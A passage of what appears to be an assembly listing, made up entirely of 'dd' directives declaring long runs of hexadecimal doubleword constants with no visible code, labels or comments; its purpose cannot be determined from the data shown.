4079E40Ch, 0A1E1600h, 1FFCAADEh, 0FC018F1h, 41280920h dd 44601360h, 75432C1h, 431AED23h, 45D0FCF1h, 80590933h dd 356EA117h, 4C18A0B7h, 695411A1h, 0A1F3D08h, 21C6260h dd 38FA64CAh, 0DE098030h, 725403F6h, 6E5F0A44h, 202C881Eh dd 0CFA13C0h, 0C550914h, 3DEA3C63h, 0F00DD38h, 0FCAB3525h dd 33063942h, 43326B53h, 14C10E98h, 0ADDB6400h, 440723Fh dd 0E14E6739h, 53C5423Dh, 61F08080h, 44E8346Fh, 43C5454h dd 4191680h, 0EF1A7459h, 344280Fh, 4F640A49h, 71E4F526h dd 0CC435043h, 3C75E510h, 21A66CE0h, 2D11D6D3h, 0F4167848h dd 0F02C0B94h, 458EE082h, 92108E0h, 20015494h, 463495EFh dd 84018A4h, 3F0030A6h, 2061568Dh, 2640D6EAh, 0A242482Ch dd 53176058h, 62782176h, 75B024FAh, 8B01B617h, 0B4580819h dd 0F06C6409h, 4184A0C8h, 9624B5EEh, 1009D089h, 873C480Ah dd 2E71C7D1h, 2C2CFA75h, 20604CC4h, 28BAA520h, 0B07C86FFh dd 0DBC12E60h, 195745B0h dd 9A95868h, 78619061h, 0D14EB898h, 5630D04Fh, 95EE5943h dd 87609892h, 0E1751094h, 881A4608h, 1AE071B8h, 3671CCC8h dd 0CFE8A0Ah, 2DA5162h, 686A73E8h, 2555E040h, 36D90E89h dd 0E4200865h, 0E0D844F1h, 81C0255Ch, 0CB2A957Ah, 6352A040h dd 0B41C5DE8h, 8C2F0F22h, 42181066h, 3028C034h, 78DCA5C3h dd 0C1169516h, 20352021h, 0A4F64053h, 458D2B01h, 948200F1h dd 37A05EDh, 5EB0265Ah, 249D15ACh, 8B406400h, 0C47529D4h dd 6E8A98A8h, 880FE634h, 5C54E2C0h, 857815A4h, 5078B0A1h dd 472403Eh, 0F32C29C3h, 18048D88h, 4584FD44h, 15DC4AB8h dd 4840D74h, 15068E82h, 398AD4A8h, 6A48A8BCh, 80441C8h dd 2ABED19Dh, 0A5430CB8h, 9590C021h, 1CA8B0C8h, 0F2248B46h dd 179DC148h, 66FF00B8h, 12EF9CAh, 3B24B460h, 0AD4091E1h dd 93F8EE9Dh, 0E1949D4Fh, 0A010B9A2h, 625C25C8h, 8592E805h dd 30B2F6h, 0B9E11929h, 1EB8A665h, 0C3A0B642h, 0F926755Bh dd 8B462C00h, 514FFAA4h, 808096BAh, 0D78C1E7Ch, 0D900D85Ch dd 0F8DAAA0Fh, 0BE50FC78h, 0FE237CACh, 3FEF003h, 0E84FC385h dd 1D1640F4h, 5CC94239h, 371DEB56h, 3225FB5Ch, 2400A864h dd 166A1A35h, 2BB99E3h, 0D2989A8Fh, 0B88468F1h, 0EBCB341h dd 285AB2FAh, 0F3D073F5h, 0D0090B2h, 0DC5AA424h, 52072E8h dd 0F2AA076Ch, 470C4A9h, 8D22A29Ch, 0B9200248h, 32EE3052h dd 126C0100h, 3BF52106h, 880E02FAh, 0F0E94978h, 0FC8B90E8h dd 0DFB00800h, 0C866CF2Ch, 14F44D68h, 9201FD13h, 34D12660h dd 0FE945D81h, 2C2F6C78h, 55003480h, 0F9EF1094h, 181B49F0h dd 99B1BAFFh, 8200918Ah, 0C1D9DC18h, 0E6C2CD07h, 3674032Eh dd 0F989E290h, 70526905h, 1CF2F069h, 0C36E8D04h, 0AFE88226h dd 9240047Ch, 0CCE2C31h, 0F78A2350h, 0C8004D41h, 0EEF384E0h dd 20B014h, 4002295Ah, 0FF349D8Ah, 108C824Ah, 34644AE0h dd 0BC8CBCE8h, 187F8C03h, 59F68937h, 178068CAh, 0DC1A3E27h dd 0D2E0456h, 0EC958B18h, 8CB9BC0Ch, 12639E07h, 0E30AC08Fh dd 0E081542Eh, 0D2CDB957h, 2F2EF0E9h, 1F1A230Ch, 0B2DFE3h dd 960FAD4Ah, 9F008B56h, 37D6AEB0h, 9538A35Ah, 0E6918C17h dd 8A0B7681h, 708857FDh, 9349F966h, 0C4E11C00h, 234AEBC7h dd 6064119Fh, 22484CA6h, 1EB20013h, 386EE0C2h, 0E30E7FC9h dd 0C066DC63h, 5E8B7985h, 989018h, 0E51D5C4h, 73B0910Bh dd 4041A86Fh, 17DE2237h, 50FA14D9h, 17BC906Ah, 7A5738Ch dd 0F0A60FFh, 6A97C59h, 8BDCAA00h, 4289AD2Eh, 0CC379788h dd 8743729Fh, 1A7A2h, 148A6519h, 21B8FF66h, 2823D509h dd 0E110042Ch, 0E1EA8E3h, 0FDF04387h, 0B0E22A99h, 59548221h dd 13A20874h, 1491334Eh, 5BC7067h, 3EEC028Ch, 0C18B5159h dd 10A810C1h, 0B03DE57h, 0C877E38Ah, 0B85A0804h, 8C05B8FCh dd 7BE4DE00h, 83415B31h, 0FEC709E5h, 7018D47Fh, 589C61E7h dd 0F20E477Ch, 6687170Eh, 5F70D28Bh, 0C90129E0h, 0F85AD8D9h dd 9900A7F8h, 4EB83258h, 16A51582h, 3060E1ACh, 0E097D5B4h dd 1DAB1107h, 86C04252h, 280CDFE1h, 1F805BA3h, 0C3261C3h dd 8A59027Ch, 0CA458h, 0CECB8F66h, 708C938Bh, 7C749C08h dd 0CDCE82Ch, 30443192h, 0E4F688F5h, 927FD10h, 8E04B201h dd 880D670h, 67936150h, 88C748A9h, 8B20286h, 0F2E64328h dd 4F5098F0h, 8A941861h, 0B57B21E8h, 74D9652Eh, 0F0875203h dd 631879EFh, 0EAE7390Bh, 67524117h, 0B52AD890h, 0E039C769h dd 0CC515D26h, 0B01DA91Fh, 1C0D811h, 721C351h, 0F5C8007Ch dd 0E0BFF9A3h, 0ACAA0924h, 0CC8C3087h, 754A2BA1h, 0E9853040h dd 320FCAAAh, 0D0209756h, 0D0581041h, 0C31813A5h, 0F11970BAh dd 0F57417EEh, 0F6C404A8h, 0B02101CCh, 9EF04BF0h, 91831748h dd 2D8400BDh, 5A65FBC5h, 66EBF919h, 4C71F108h, 724B8F4h dd 0FAFAAD4h, 0E64C4A55h, 477CB8C5h, 0B1C4D515h, 30AB22E0h dd 0BB485043h, 0A419B480h, 28F0DAF9h, 3846AA12h, 0C840564Ah dd 0AC0A0826h, 0F67430B0h, 56C7EF48h, 66F26E25h, 642B584Ch dd 8838D93Ah, 8FA8E124h, 21F8A169h, 0E9728908h, 0B6F8FA54h dd 0A39E8517h, 0B800E457h, 4EEFC29h, 0D9633FF5h, 51607161h dd 223C2CDFh, 915B05D2h, 5170BB7h, 8CA282E6h, 69FEAB24h dd 3C2F200h, 7BCBC164h, 9C42E9ACh, 0F9EA22A2h, 0D52520E0h dd 0EFFB90A9h, 0A0CD1022h, 2C2310h, 1B5C57C4h, 8A9132F8h dd 99C1F160h, 24A11080h, 427484FEh, 0BCA1FB30h, 0D45640F3h dd 0DB5C2361h, 4CCF90h, 7174A2D8h, 0FB8D0DC3h, 0DCB03735h dd 0AC241AD3h, 89112CB8h, 5EB32C00h, 60B2FC2Ah, 0A7428C01h dd 0F151473Ah, 7D4C202Eh, 2A0BB2D3h, 0EBB7294h, 83CC9E55h dd 321B21D2h, 8858AFABh, 30BC8828h, 0B3021180h, 795D0966h dd 0C040498h, 24D45019h, 28A0A80Ah, 7F1860ACh, 5E210E85h dd 38252526h, 0FBD7485h, 0D8E55A0Ch, 4B0CE223h, 38303C21h dd 0E2B7D0h, 752A6C46h, 0F58B0935h, 3C0A14ACh, 3029265Ah dd 4F238508h, 4050158Bh, 6987D830h, 7755C51h, 0A9438B50h dd 58DD107Ah, 160CCAA2h, 2907D94Ah, 0D0D71CFFh, 0E79980F5h dd 22E0F72Ah, 8904E148h, 2868885Ah, 0D72F105Eh, 0F346E8C8h dd 0A0CAED20h, 0B5DD4A2Ch, 3C9B9090h, 73AFFE17h, 69D06C97h dd 93202D5h, 8B362A9h, 0C861C19h, 0A2A765Bh, 0A0D9C249h dd 0DB960898h, 7A1C5142h, 0CBE5464h, 21224255h, 174588E6h dd 8909D70Ch, 0A53F007Bh, 584C2A8Ah, 0E02EFA61h, 6F41082Dh dd 0FEE839D7h, 11C918Bh, 4DB122CAh, 5FF82031h, 4725207h dd 5510B4B0h, 0B04FB981h, 96FC0980h, 0C5A89FFh, 7B1E2370h dd 44BE0204h, 7E64001Ah, 166840C2h, 0A40F0A25h, 2B1D2866h dd 29DC0D62h, 0F2B7D0h, 525B2A96h, 6368589h, 66430F1Eh dd 0D1F18000h, 0FE0222Ch, 51148269h, 717790C0h, 0F1F4EEE8h dd 0B98B4F00h, 29E52011h, 2C3058F4h, 0D898924Eh, 733848C4h dd 0A48F8028h, 0AB74D7C9h, 569C00C0h, 72B157BBh, 5317D4EEh dd 20124E64h, 303BC8E5h, 0FA7452F4h, 1D06D90Fh, 416DA571h dd 44258CD2h, 6A97308h, 0E954DE6Ah, 0A43B39F9h, 7AB90080h dd 0B3949EEEh, 487B48B0h, 22375680h, 0D409E3C7h, 0A357D8FFh dd 0D34787ACh, 358BF01Eh, 6CC600BFh, 0C7FC1F5Dh, 9F14973Ah dd 18044FDAh, 3F1118BEh, 9640006Ch, 544D8E6Bh, 0FF981C20h dd 37CD2302h, 4029A2C0h, 7CD44A81h, 27A80655h, 406F96B8h dd 500CAAF0h, 769B64BDh, 285B603Eh, 1D9DDB1Ch, 40DA40C1h dd 3840AD1Bh, 19985054h, 2029B9F5h, 9CD9F47Dh, 404FDB07h dd 0D5104C26h, 75AAEDh, 81DC121Dh, 0BA84A3E1h, 96441900h dd 212898D9h, 0C9720058h, 6FC812B1h, 2C0ABB50h, 44A727A1h dd 35513918h, 74313028h, 0F3211431h, 80179937h, 7F59C7E0h dd 1E553ED3h, 18606D3Ah, 0A545D5DBh, 5422D980h, 7F88E5h dd 0D67CE57h, 91D5974Ch, 18943B52h, 9830568Fh, 0FC3578AEh dd 2210C079h, 0C4884623h, 191170DFh, 0EC9F6578h, 74CC1C98h dd 3F940320h, 0E80199CAh, 0B18F8AC6h, 0CD21529Ch, 7FDAC087h dd 3E4FF05Fh, 29C89B13h, 567D42B6h, 0D0218B24h, 23B2129Dh dd 0A988DF96h, 0DC03DA99h, 0C840A2A4h, 6C44A89Eh, 37A0007Ah dd 50237D65h, 820C1DFFh, 91C02DFh, 0BD9C0042h, 0BA7344F5h dd 0A7070D6Eh, 0F0FCB7B6h dd 2784760h, 12BC006Ch, 0C1B194EFh, 7CF01561h, 0DB66FC00h dd 28F21E9Fh, 160731E0h, 40E829h, 63FE95h, 41033A9Dh, 175D6EACh dd 67378D01h, 0EDBA0C96h, 2EA8E8h, 38AE7072h, 2016B880h dd 6A004271h, 66D8DD74h, 0F99F7Fh, 8F930268h, 428995FCh dd 1C44AE48h, 23DD4DDCh, 16784800h, 7E28D9h, 0A22CD31Ch dd 0A335CEF8h, 5B55F700h, 4DBF981Dh, 0B604A01Ah, 2FAB3DDEh dd 0C1B4E59Fh, 0F0902967h, 0FD99E0F6h, 64320D00h, 0E8D0A084h dd 0C5E8C0F1h, 12BF5695h, 0BECA800h, 14086568h, 0E89E0045h dd 424BE97Dh, 0F228F1E4h, 41002010h, 362B01E5h, 1A9ED61h dd 3EE7EF3Bh, 2054F847h, 820064E8h, 729D6934h, 5463E986h dd 62AA8D2h, 0E1703085h, 0E20010BBh, 8BA734F5h, 6053D1ABh dd 55C129C3h, 6E1E940Fh, 0B812BA4h, 0D07B68CAh, 0C7E9C8h dd 8411B84Ah, 31094C63h, 0E2FCD20Ah, 86BFE05Fh, 10A9E819h dd 7C5CEE11h, 0F6C80A85h, 80F84CC4h, 0ADF8B743h, 6D00DFB0h dd 0F392E05h, 0A57118h, 9A0DDE46h, 0D689296Eh, 715F009h dd 4C8D0074h, 1455A6Dh, 0DFFEA49Fh, 22788495h, 13E3F28h dd 0F2BC89AAh, 14210A59h, 1F3FD6D8h, 40548605h, 0ABF7A857h dd 5C0074F8h, 0A5FD353Bh, 39D0E651h, 5E00BEC5h, 6CCD3D27h dd 0A048493Ah, 420100C0h, 1CE6E37Eh, 3E2037Bh, 0F9E4791Bh dd 0F6C09DE0h, 0B79A151Eh, 0DC042D80h, 680141A7h, 0F609DEh dd 0C94AFF17h, 2C072018h, 0B0F654EEh, 0DB1DEBD0h, 7E19074Bh dd 97CC6E55h, 90F777E4h, 0CF1588C5h, 46DB6505h, 0A81DE227h dd 0AFB006C0h, 502B0E41h, 516CF068h, 96EC8091h, 3FA100BEh dd 0DD6EDAD1h, 926BBD4h, 16008670h, 0AA299BE1h, 0B1430FF4h dd 0F96E6023h, 5D363D80h, 0A160B7EAh, 0F69979F0h, 0C480003Bh dd 92753AF3h, 73003CF1h, 6F38F5CAh, 0E44FF2ADh, 0C6C7BA5h dd 76099950h, 4E1FC809h, 5100078Fh, 95C39890h, 0F0F962DCh dd 0CA4075D3h, 2B07BC49h, 0D4049982h, 334765E0h, 0E0DE0092h dd 9518ACE8h, 41008169h, 1E4825C0h, 67010Bh, 60A329BDh dd 832D5364h, 0BB4EBE7Bh, 0DDC7E0h, 76370CDh, 4A04EAABh dd 0BA3DFD73h, 53B6869Fh, 12E162ACh, 4076B7C9h, 0B1EBF5C4h dd 1524F34Bh, 9F0048AEh, 0B28DAA38h, 82B00F8h, 3592D80h dd 9B00CFE6h, 0A946737Fh, 980F8Fh, 26A7DC8h, 4F9D2721h dd 0E7A31501h, 5E59B0AAh, 0EA052DCCh, 783959D0h, 640F2B00h dd 52614256h, 138CC113h, 79A24201h, 4CF886FAh, 0F1D500BEh dd 8B672CF0h, 6B72616Fh, 38BC4D00h, 10599EE1h, 58BD77DAh dd 2A001495h, 2D91888Ch, 0BC008DA3h, 968B8346h, 6F6B28h dd 748044A2h, 22D1C3A5h, 0B19B490h, 33094524h, 215130h dd 0A2FAB434h, 2165769h, 1B0E3B73h, 24F790F0h, 0E8900958h dd 27D6670h, 3ADEE9BDh, 0B9C0C6D0h, 35001A2Ch, 0D4017AB6h dd 0BE34F0h, 0DFECA78Ah, 9B469006h, 0C9DC3000h, 5D412345h dd 3BA509C2h, 8808DFAh, 0C47571F5h, 57723A00h, 5F4D38B6h dd 1D7E285h, 534EA113h, 0EC5218A9h, 0FC016FACh, 0F56D7103h dd 596046B6h, 89AD1256h, 0CF840033h, 0C7EA4B3Ch, 0CDA46A03h dd 76B8B253h, 7C390068h, 611FFB25h, 78037496h, 9B93C9E2h dd 80C1B47Ah, 0B9202679h, 3F5EA3Dh, 0E39A8710h, 9BD8EC8Bh dd 55097CFEh, 0F7BD1Ah, 7DB3454Eh, 6CC200A5h, 67632A18h dd 220026DBh, 0B6DFA261h, 0E88B233h, 72A7A908h, 521B6303h dd 5625A81Eh, 0AFD1980h, 0B29143h, 4A6387DEh, 0B59ABD11h dd 0D246B303h, 0A853E029h, 14A4FCD0h, 993C06D6h, 0CD00853Bh dd 0B13635A0h, 0C91DDE33h, 4400D23Ah, 8C7A4F8Eh, 7B3905DAh dd 0ED5B5h, 485D1CE2h, 0C400D199h, 861296E0h, 398F4975h dd 5E0F2201h, 0AD41908Bh, 305AC283h, 6ED2BF1Ch, 320FAF00h dd 17E60C8Fh, 20330A27h, 0C2222414h, 0AD0E6200h, 9FF83465h dd 5BE400F5h, 9446FC17h, 4D007BE6h, 0DA304EABh, 2C9930Fh dd 5FB63110h, 10619D54h, 0F2682096h, 693D20E2h, 742500F5h dd 6E23EA4Eh, 28020050h, 2CC74C9Ah, 5901CB9Dh, 7446914Ah dd 9A8BD4Bh, 30664D34h, 19AE303h, 80842E10h, 78A73368h dd 0A434813Ah, 0AE0050B0h, 0D72006DEh, 2D7A034Ch, 0BB26C155h dd 7DB0A498h, 84002CB2h, 96B444B6h, 0DE9B38h, 0BB21F8F2h dd 3C9F1DD5h, 0ADB5700Bh, 0B3A020A0h, 1D297753h, 8CB72145h dd 4FD88723h, 7F4DB198h, 0EDE8013Ch, 3D132FADh, 0E40BC428h dd 90203BCDh, 4550FBE6h, 1A70CE00h, 0FF8E8B9Bh, 1BFD0021h dd 0A7BE7D59h, 0CC3E6F2Bh, 619B3026h, 4C6C3090h, 99005075h dd 3294E2DCh, 3C00FBD5h, 0EA8636AAh, 3F20A3FCh, 33006BD8h dd 0C0E30284h, 0CB4810EEh, 278C006Ch, 68DCC36Dh, 5D3C0C4Ah dd 1C6199F9h, 0B8AECD00h, 57768372h, 18516024h, 7F8E8C1Eh dd 0B1C01D0Ch, 5D4D153h, 5433A3BEh, 2CB5837Bh, 5624B0A7h dd 1D0360BBh, 0F11E9EF7h, 0DB300050h, 4CD5A9D1h, 6590324Bh dd 0EB165400h, 18A52CCBh, 4E7005Dh, 3ECDBE06h, 38C052C4h dd 1C338E26h, 0C53E8A4h, 20DA4754h, 0D6B03550h, 339E1E0Fh dd 44788067h, 1B26108h, 8AA72BD2h, 20703857h, 2FEA7BD6h dd 289A1403h, 0D0493386h, 4DE0D1D0h, 200EDCA3h, 546053F0h dd 4ABD6B8Eh, 4EA43Eh, 84FEE0FBh, 79263D7h, 16AFA2C4h dd 32C73223h, 4A1B45Bh, 611BBEF0h, 4AC610B1h, 52188457h dd 0E8A05A49h, 0F0594483h, 40BA7144h, 8B325289h, 108F295Fh dd 0A68973F8h, 0DD3BA210h, 0BEB0A571h, 3C9EA012h, 7028F880h dd 538C0076h, 4C277969h, 0BBF219FAh, 917FF30h, 9B97045h dd 0D66748F1h, 0B2C3FF80h, 0F000FCF5h, 8F782BB1h, 459160h dd 924CA7Eh, 3239819Bh, 0D6A3B512h, 0F2F0F080h, 2F2200E1h dd 5F789B10h, 6658BB44h, 354103BEh, 0F86F12F9h, 791325D0h dd 56A1FE0h, 988D95D9h, 0DC011903h, 0E8E1EEC1h, 0F8DC244Ah dd 2D1F3100h, 7398746Bh, 28E000DCh, 189AC7DDh, 8C1EB624h dd 0E342705Ch, 6BFD85D7h, 8411D5E8h, 268300C4h, 12B95A3Dh dd 862A12BEh, 9F44077h, 75C04B1Ch, 0E40395FEh, 91C79A0Bh dd 58F68F9Eh, 31090058h, 0A63AF5D3h, 10005322h, 0D1A0C477h dd 3AE0B156h, 0C8807ACEh, 6A3EA178h, 0B301337Bh, 648A6622h dd 0C8804921h, 2D60D320h, 0EA188D81h, 9518105Eh, 8E730091h dd 4401BD05h, 2000DE94h, 23DF0CB3h, 72DB5DCh, 8FE02B5Eh dd 0F6C1927Ch, 757D481h, 5BA8CF53h, 0F501C95Dh, 0CCAAF770h dd 0A8C86029h, 0A74100EEh, 9EA93D09h, 0C000D4FCh, 0F3EAD715h dd 9A42FBh, 0EC4AAD5Ch, 0A1871E29h, 11021400h, 0AB6D4328h dd 753B122Dh, 0A91EEAh, 3238F31Ch, 4C008F11h, 0F154F574h dd 24E70h, 0B8734D2Fh, 0F4C3CBECh, 3638180Ch, 7F2056h dd 0ACA17CF3h, 9AFD8EBFh, 3D8C3D49h, 1FC89C72h, 8F6A9D09h dd 911E2078h, 0F53F77h, 0F64043A3h, 1845C3FBh, 0F20004E6h dd 0A5646366h, 3FE73E39h, 74038105h, 247FE96Eh, 4C59A288h dd 0F5D19508h, 17B6009Bh, 369CCD3Dh, 0B3286104h, 5D815F2Eh dd 11D8633Eh, 3168002Bh, 0D5AF1D88h, 0B0301701h, 0EBD709D1h dd 0D88D0028h, 0ADCE25EAh, 55872D3h, 0E36F0244h, 50E68E2Ch dd 313F0E48h, 0B1608751h, 0FF1DE8CEh, 4ACB9C00h, 37C7DABBh dd 6D780295h, 73A4D977h, 0F09108E0h, 9443848h, 1422D0Fh dd 51F52814h dd 66874074h, 0FA052876h, 0DD96101Ch, 68379141h, 2880A597h dd 5A86E01Bh, 82F43335h, 0A1FA6FCh, 4A469359h, 5E799Fh dd 2AABF0ACh, 0A753627Eh, 0E0BD3C00h, 80C63DCCh, 781F3CBBh dd 9C7B420Ah, 0D312019Ch, 0D81649C0h, 0EF0054C5h, 0F14EC3C9h dd 7AC7E1h, 7DCCA6ECh, 716A796Bh, 30D3663Bh, 0D07B099Dh dd 806950C5h, 0E1BA05C2h, 1044F32h, 5887539Ch, 5AE06482h dd 0F8991B09h, 7C82F59h, 22D0EC8Eh, 47A824Dh, 85A644FAh dd 93E28252h, 96E57F60h, 4523041Dh, 409059CEh, 24A621B4h dd 317C9Ch, 0E14A0574h, 45C9F12Ah, 2D984C00h, 6F428EE2h dd 3B281C0Fh, 67108111h, 83BB145Dh, 49680D98h, 0AD92C086h dd 8B750043h, 625F996Ch, 0B1B02E7Dh, 6C96C726h, 0AC21B700h dd 95F898h, 3EE62A1Eh, 89298B73h, 85FE8C26h, 0C4A19700h dd 796C631h, 0D3C9CBF6h, 7D67301Ch, 4801B08Eh, 0F2475080h dd 8ECBA92h, 6CEC0AEAh, 0D888A4h, 4E100A22h, 0B900C070h dd 32B1E4BDh, 7CAD8D0h, 392CB336h, 0EEF1505Eh, 5718A923h dd 8929C0F9h, 0B0B479EBh, 3510C0B5h, 6E11F275h, 0E58F6500h dd 66341B26h, 25E700FBh, 1ED00B84h, 0AF001406h, 40830923h dd 1D9277h, 690C98F2h, 5029C9EBh, 44679900h, 0F8BFE102h dd 76B707E9h, 0F76F08E7h, 0D2A4C0FFh, 0B901F7B3h, 6480EE03h dd 0FBDCBDDDh, 3FD30013h, 40D611A5h, 6A1344A0h, 4CCD4E3Bh dd 0A927D8h, 0E17C338Bh, 3701CECDh, 6DF8E00h, 54E3E88Ah dd 0A79212E5h, 2FA300EFh, 77179FABh, 0D46A9330h, 56F0185h dd 0FA4096ADh, 950090A6h, 9C4851E7h, 6EF916B0h, 2923841h dd 3C20B26Ch, 0B0C0099Dh, 0B8084849h, 1FC900CCh, 466DDDCh dd 7909AC13h, 36A24C07h, 0E8615950h, 0E02D0483h, 0C0E6D5F9h dd 0DED9CD84h, 0D30F7707h, 690C867Bh, 2A990948h, 68404770h dd 5100A444h, 55903EE1h, 0A11ADDh, 0E799E456h, 19F103A8h dd 0E904C650h, 0DC17F21Eh, 6520F9C3h, 0B5CC904Bh, 0CDE500F7h dd 5452CAD4h, 81009633h, 7962833Bh, 0F6642A1h, 16EDE291h dd 29A40052h, 6A080388h, 6652E00h, 0E82CAEBDh, 6B77B0h dd 6266E2A6h, 0B89253D5h, 2AF95F1Fh, 0E80E4AFBh, 819840FAh dd 9DD1FDh, 9BD2166Ch, 0BFD9F946h, 0CF155200h, 819455C4h dd 3E690612h, 97513DCh, 0CDC88316h, 0B2CA3880h, 45EA27D9h dd 7F4B5000h, 0A2598E60h, 5B2B000Ch, 2A4A68E3h, 5CA87495h dd 4C0040A1h, 72396A45h, 4800E7C8h, 710F211Eh, 0AD8286h dd 30D3BBFEh, 57604708h, 8ECF1907h, 1700C1C9h, 26CCE9Dh dd 9BF3A477h, 30529247h, 267B2C02h, 51DBD1CFh, 56C70E14h dd 4B157C68h, 2C1E8810h, 92B880F0h, 6ABA7683h, 0B9E881E8h dd 22F11E25h, 81C1D2A0h, 3386241Ch, 88026F5h, 0C799D747h dd 18756CEAh, 81FDF300h, 6F53A8D2h, 864F1EECh, 8E014F0h dd 0BC7E3702h, 5B618382h, 3F98509Ah, 0A4945BD8h, 16339E01h dd 49E88E8Ch, 0C0A60712h, 0FF5DA759h, 667EC4C1h, 0E9028A2h dd 28D1264Ah, 8F164D9h, 54230E8Ch, 0C61D8580h, 38A3165Dh dd 0B8D8E6AAh, 240033F0h, 0F7D53B7Bh, 17DB9A69h, 171B19CAh dd 545C0193h, 0CDF228DAh, 37419E44h, 7B345E00h, 0B8C60A0h dd 178E1C23h, 125DE581h, 392980AEh, 88556828h, 7CF572D4h dd 0D3AB18ADh, 19742190h, 840A60Ah, 0D4036073h, 0E162241Ah dd 87F064BCh, 837D12h, 7B7ACC35h, 9F9E117Dh, 86A02F7Ch dd 0C75FD6ABh, 0C6BD5406h, 0D8970008h, 9F9D4E98h, 0E4A846D2h dd 5B0E7903h, 606B3C70h, 0FD56475Dh, 0CAB04EEh, 809D606Eh dd 0F458DBCEh, 68094A00h, 0D1E42840h, 477528D6h, 0A7C72AD0h dd 0FBBB009Ch, 2C10A95Dh, 0CA0FD1DAh, 403F2693h, 7C8E8DEBh dd 0A9BF301Ch, 0E0111DD9h, 0C7007EE4h, 0F7578BE7h, 2363570h dd 0CEEDA617h, 0CFC0D2B5h, 9D00A33Bh, 0ACCFFCD9h, 2027ADh dd 0B5F01EB3h, 4B943186h, 7BCE1500h, 1B426C23h, 0EEAA1245h dd 341667h, 92518BD5h, 0BD726F80h, 311781C0h, 246459CFh dd 0E0509Eh, 6672A62Ah, 4218C2DCh, 0A4D9B3C6h, 0FAD4FAD5h dd 3E620A05h, 3E4502Bh, 0A1BED3D7h, 8CDF40BFh, 5E7C77B7h dd 9EB8EB66h, 31AC1569h, 6F12B824h, 0CC30A4BEh, 3C9A8500h dd 12664568h, 0C6D800C4h, 40F8F6FBh, 29C3A019h, 0E708503Ch dd 7C947DD7h, 0EA221490h, 2362001Bh, 0AC72500Fh, 7500F65Ch dd 114057FFh, 122F29A2h, 4042BE18h, 32B23800h, 65013139h dd 9CCE0A8Dh, 0C070E0C8h, 0ADA80043h, 82D1B737h, 0B3054D7Dh dd 9F0A2883h, 227015C0h, 0EB580041h, 0FAD330C3h, 1D025EDCh dd 0BFC967CBh, 0D16E6007h, 82ED3F3Ah, 0C5805A39h, 54E15BADh dd 24008FF7h, 276C1D5Fh, 0D3B2578h, 0B67E0504h, 4BB4F170h dd 0AC0FEB04h, 0BF8346B9h, 180063C7h, 0C0A87F59h, 1D94ADBBh dd 1C83D3E8h, 0F3ACC003h, 183472BEh, 0A860B40Dh, 12CE29AAh dd 29217463h, 0AD22087Eh, 0D84DC90h, 428A4868h, 0C824BF5Fh dd 1266D021h, 0C3071096h, 40060488h, 6A440CD4h, 422284C2h dd 5F022C5h, 226E2F22h, 782235CEh, 280C50BAh, 0DA564461h dd 913414A0h, 8E083889h, 84E65C44h, 4290A722h, 5BF11134h dd 11361211h, 84769353h, 425A3822h, 95FC111Eh, 70C97C30h dd 0D574128Eh, 8B9D75C0h, 166FEE19h, 1DEA1E1Fh, 0FAE940DEh dd 0CD88A13Bh, 0E0860E38h, 0CD75C09h, 0DA6307C0h, 0F03841A5h dd 33E42012h, 0B3000D7Ah, 1E1C1D9Dh, 1BE98Dh, 0BB4A9715h dd 0B7640A3Dh, 80732C3Dh, 0C66BAD02h, 67CD74h, 0D1D25B6Dh dd 0BFC826C2h, 84EA30F1h, 25C73202h, 40D0EC46h, 8BF538h dd 0F214D92Ch, 0B7DDA9E2h, 0B536B618h, 81C2D48h, 0B49BC90Eh dd 79D8F500h, 80292E21h, 630BDE8Dh, 808927DFh, 79BAABDh dd 0C911C091h, 90046E21h, 8007092h, 886530BFh, 0ECC5BBh dd 58DC5276h, 0E1F1F964h, 2D7CCE01h, 10DF0178h, 353D330h dd 0A3A519A7h, 0F4881D57h, 0C70ECDF9h, 4073851Ah, 0E0A10CE3h dd 780984Ch, 53EA24FCh, 6FF2F065h, 0EE019970h, 2A5E6A71h dd 7C13BF6h, 59A30h, 0FC93D8EAh, 4B135F2Fh, 26F08560h dd 0DD6AB1h, 0C1B068BEh, 8F10D716h, 99842500h, 33396203h dd 5F500076h, 3E41112Bh, 9000CC40h, 7D748898h, 0EA1D87h dd 0DC7BF624h, 3CD0FA92h, 0AA203E00h, 504A8284h, 87F41D35h dd 43813FA8h, 0E48EFB01h, 7FC840B3h, 201C1F55h, 0BAFA5485h dd 691E007Ah, 75425C7Bh, 4B491877h, 8993A74h, 9655C20Ch dd 220914h, 17944FCCh, 0F8B94CCBh, 0B0886B00h, 0C2855C7Ah dd 55480383h, 4D821718h, 0B6CA6800h, 0A67BCD70h, 531B38BDh dd 4896B903h, 5880655Dh, 0B305DBCAh, 1B433C2Eh, 6F4DEC00h dd 506AD9Ah, 4257A89Fh, 0FB349002h, 50712349h, 3F186148h dd 6239125Bh, 3F670840h, 9114F988h, 870C0160h, 400FD75Bh dd 2CB2D2D0h, 82BA9900h, 20142769h, 0F9D90059h, 0E74AF52Eh dd 4B1FBC38h, 9B49CAC7h, 930C00ABh, 705F16Eh, 8069DEC6h dd 7C6A401Ah, 0A801B2AEh, 0C4FEB0E5h, 48809DCBh, 0BCB435C3h dd 67B00C11h, 67729200h, 0BD3A5F28h, 0D0E00E9Fh, 4C002EB9h dd 0CAC5DC7h, 0D8764100h, 1D341E91h, 0A37F39F3h, 0AAEBE0E5h dd 80D91181h, 1943E0h, 8EC33220h, 0C068A1A0h, 834B860Eh dd 49C0BD1Ch, 0C827111Eh, 807C070Dh, 7169B42h, 0B805507Bh dd 0B600FE5Ch, 0CDBBB76Ah dd 0C1B314h, 7A552AA2h, 7FCB2591h, 210BF198h, 74DABA4Eh dd 40961F28h, 79A85597h, 6D00B086h, 0A98BF4F2h, 0FFF3CC5h dd 0A3294738h, 704FABC0h, 4C0082BDh, 638B9A92h, 0E8CA998h dd 8AB18D62h, 4E918FA1h, 0F78EF868h, 8266700h, 19ED7EAEh dd 98A60ABh, 0A8947780h, 89968100h, 0E541C3FDh, 0BBA924AEh dd 496600E4h, 0EC423B64h, 38A1FF00h, 0E7022C7Eh, 272D0F06h dd 148183DEh, 2057A9C6h, 0E600EC55h, 8FF05DF9h, 60302Ch dd 0E052A1E8h, 23BE4567h, 0EF38DA0Eh, 469E83EAh, 631EB092h dd 0E5A9148Dh, 0A703CB1Ch, 0B52B0A2h, 0B10C59C0h, 8BEC8E00h dd 0F1DFE51h, 2C400770h, 90F67E8Ch, 283735C7h, 0F103C31Dh dd 4B89EE40h, 0B906216h, 0E7E14DEBh, 519A8680h, 15007972h dd 9E701755h, 0C4C359h, 0D845522Eh, 0B9F58CDFh, 0AA50C00h dd 0ED57581h, 9EE200AFh, 82E16EC0h, 93007E90h, 18858F04h dd 907B7CE4h, 